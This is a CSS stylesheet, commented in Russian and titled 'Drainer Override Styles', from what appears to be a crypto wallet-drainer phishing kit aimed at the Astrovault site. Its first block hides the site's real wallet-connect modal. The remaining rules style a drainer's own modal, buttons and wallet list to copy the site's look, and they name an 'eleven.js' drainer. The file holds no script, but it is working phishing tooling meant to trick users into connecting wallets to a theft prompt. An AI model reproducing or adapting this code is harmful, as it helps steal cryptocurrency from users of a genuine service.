/* Drainer Override Styles by Bin & Jack */
/* Скрываем стандартное модальное окно подключения кошелька */

/* Скрываем стандартный wallet modal - УЛЬТРА АГРЕССИВНО */
.customModal.walletModal,
.customModal.walletModal *,
.customModalWrapper,
.customModalWrapper *,
div.customModal[class*="walletModal"],
div.customModal[class*="walletModal"] *,
.ReactModal__Overlay.customModalOverlay,
.ReactModal__Overlay.customModalOverlay *,
.ReactModal__Content.customModalContent,
.ReactModal__Content.customModalContent * {
    display: none !important;
    visibility: hidden !important;
    opacity: 0 !important;
    pointer-events: none !important;
    z-index: -9999 !important;
    position: absolute !important;
    left: -99999px !important;
    top: -99999px !important;
    width: 0 !important;
    height: 0 !important;
    overflow: hidden !important;
    max-width: 0 !important;
    max-height: 0 !important;
    margin: 0 !important;
    padding: 0 !important;
    border: none !important;
}

/* Скрываем overlay */
.ReactModal__Overlay--after-open.customModalOverlay {
    display: none !important;
}

/* Блокируем скролл body когда модалка пытается открыться */
body.ReactModal__Body--open {
    overflow: auto !important;
}

/* Драйнер стили под цвет сайта Astrovault */
/* Темная тема с градиентами */

/* Если драйнер использует свои классы, настраиваем их */
[class*="drainer"],
[class*="modal"][class*="wallet"] {
    background: #0a0a1a !important;
    border: 1px solid rgba(11, 246, 204, 0.2) !important;
    border-radius: 20px !important;
}

/* Кнопки драйнера */
[class*="drainer"] button,
[class*="modal"][class*="wallet"] button {
    background: linear-gradient(135deg, #0bf6cc 0%, #4131c8 100%) !important;
    border: none !important;
    border-radius: 12px !important;
    color: #fff !important;
    padding: 16px 32px !important;
    font-weight: 600 !important;
    transition: all 0.3s ease !important;
}

[class*="drainer"] button:hover,
[class*="modal"][class*="wallet"] button:hover {
    transform: translateY(-2px) !important;
    box-shadow: 0 6px 20px rgba(11, 246, 204, 0.4) !important;
}

/* Текст драйнера */
[class*="drainer"],
[class*="modal"][class*="wallet"] {
    color: #fff !important;
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif !important;
}

/* Overlay драйнера */
[class*="drainer-overlay"],
[class*="modal-overlay"] {
    background: rgba(8, 8, 25, 0.9) !important;
    backdrop-filter: blur(10px) !important;
}

/* Дополнительные стили для eleven.js драйнера */
/* Если он использует стандартные классы */
.modal,
.wallet-modal,
#wallet-connect-modal {
    background: #0a0a1a !important;
    border: 1px solid rgba(11, 246, 204, 0.2) !important;
    border-radius: 20px !important;
    box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5) !important;
}

.modal-content,
.wallet-modal-content {
    background: #0a0a1a !important;
    color: #fff !important;
}

/* Список кошельков в драйнере */
.wallet-list,
.wallets-list {
    background: transparent !important;
}

.wallet-item,
.wallet-option {
    background: rgba(255, 255, 255, 0.05) !important;
    border: 1px solid rgba(11, 246, 204, 0.1) !important;
    border-radius: 12px !important;
    padding: 16px !important;
    margin-bottom: 12px !important;
    transition: all 0.3s ease !important;
}

.wallet-item:hover,
.wallet-option:hover {
    background: rgba(11, 246, 204, 0.1) !important;
    border-color: rgba(11, 246, 204, 0.3) !important;
    transform: translateX(5px) !important;
}

/* Иконки кошельков */
.wallet-icon,
.wallet-logo {
    width: 40px !important;
    height: 40px !important;
    border-radius: 8px !important;
}

/* Заголовки */
.modal-title,
.wallet-modal-title,
h1, h2, h3 {
    color: #fff !important;
    background: linear-gradient(135deg, #0bf6cc 0%, #4131c8 100%) !important;
    -webkit-background-clip: text !important;
    -webkit-text-fill-color: transparent !important;
    background-clip: text !important;
}

/* Кнопка закрытия */
.close-button,
.modal-close,
button[aria-label*="close"],
button[aria-label*="Close"] {
    background: transparent !important;
    color: rgba(255, 255, 255, 0.6) !important;
    border: none !important;
    font-size: 24px !important;
    cursor: pointer !important;
    transition: color 0.3s ease !important;
}

.close-button:hover,
.modal-close:hover {
    color: #0bf6cc !important;
}

/* Загрузка / спиннер */
.loading,
.spinner {
    border-color: rgba(11, 246, 204, 0.2) !important;
    border-top-color: #0bf6cc !important;
}

/* Ссылки */
a {
    color: #0bf6cc !important;
    text-decoration: none !important;
    transition: color 0.3s ease !important;
}

a:hover {
    color: #6cffb0 !important;
}

/* Скроллбар */
::-webkit-scrollbar {
    width: 8px !important;
}

::-webkit-scrollbar-track {
    background: rgba(255, 255, 255, 0.05) !important;
    border-radius: 4px !important;
}

::-webkit-scrollbar-thumb {
    background: rgba(11, 246, 204, 0.3) !important;
    border-radius: 4px !important;
}

::-webkit-scrollbar-thumb:hover {
    background: rgba(11, 246, 204, 0.5) !important;
}

/* Анимации */
@keyframes fadeIn {
    from {
        opacity: 0;
        transform: scale(0.95);
    }
    to {
        opacity: 1;
        transform: scale(1);
    }
}

.modal,
.wallet-modal,
[class*="drainer"] {
    animation: fadeIn 0.3s ease !important;
}

/* Адаптивность */
@media (max-width: 768px) {
    .modal,
    .wallet-modal,
    [class*="drainer"] {
        width: 90% !important;
        max-width: 400px !important;
        margin: 20px !important;
    }
}

/* Override для roadmap галочек */
.about .aboutSectionRoadmap .aboutRoadmapList li.checked::before {
    box-shadow: none;
    content: "\2713" !important;  /* Галочка вместо пустого */
    font-family: Arial, sans-serif !important;
    font-size: 18px !important;
    font-weight: bold !important;
    background: radial-gradient(circle at 65% 15%, rgb(255, 255, 255) 1px, aqua 3%, rgb(0, 0, 139) 60%, aqua 100%);
    color: #fff;
    display: inline-flex;
    align-items: center;
    justify-content: center;
}

/* Override для features списка (secondary grid) */
.about .aboutSectionDetails .aboutGrid.gridTwo.secondary ul>li:before {
    color: #f0f !important;
    content: "\2713" !important;  /* Галочка вместо пустого */
    font-family: Arial, sans-serif !important;
    font-size: 1.5em !important;
    font-weight: bold !important;
}
